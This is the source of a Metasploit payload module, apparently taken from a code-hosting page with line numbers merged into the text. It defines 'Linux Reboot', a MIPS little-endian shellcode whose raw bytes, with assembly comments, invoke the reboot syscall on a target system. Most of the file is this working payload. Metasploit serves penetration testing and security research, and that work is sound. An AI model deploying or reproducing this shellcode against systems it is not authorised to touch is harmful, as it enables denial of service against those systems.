Path: blob/master/modules/payloads/singles/linux/mipsle/reboot.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system.17This payload is sometimes helpful for testing purposes.18},19'Author' => [20'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload21'rigan - <imrigan[at]gmail.com>' # original payload22],23'References' => [24['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']25],26'License' => MSF_LICENSE,27'Platform' => 'linux',28'Arch' => ARCH_MIPSLE,29'Payload' => {30'Offsets' => {},31'Payload' => ''32}33)34)35end3637def generate(_opts = {})38shellcode =39"\x21\x43\x06\x3c" + # lui a2,0x432140"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc41"\x12\x28\x05\x3c" + # lui a1,0x281242"\x69\x19\xa5\x34" + # ori a1,a1,0x196943"\xe1\xfe\x04\x3c" + # lui a0,0xfee144"\xad\xde\x84\x34" + # ori a0,a0,0xdead45"\xf8\x0f\x02\x24" + # li v0,408846"\x0c\x01\x01\x01" # syscall 0x404044748return super + shellcode49end50end515253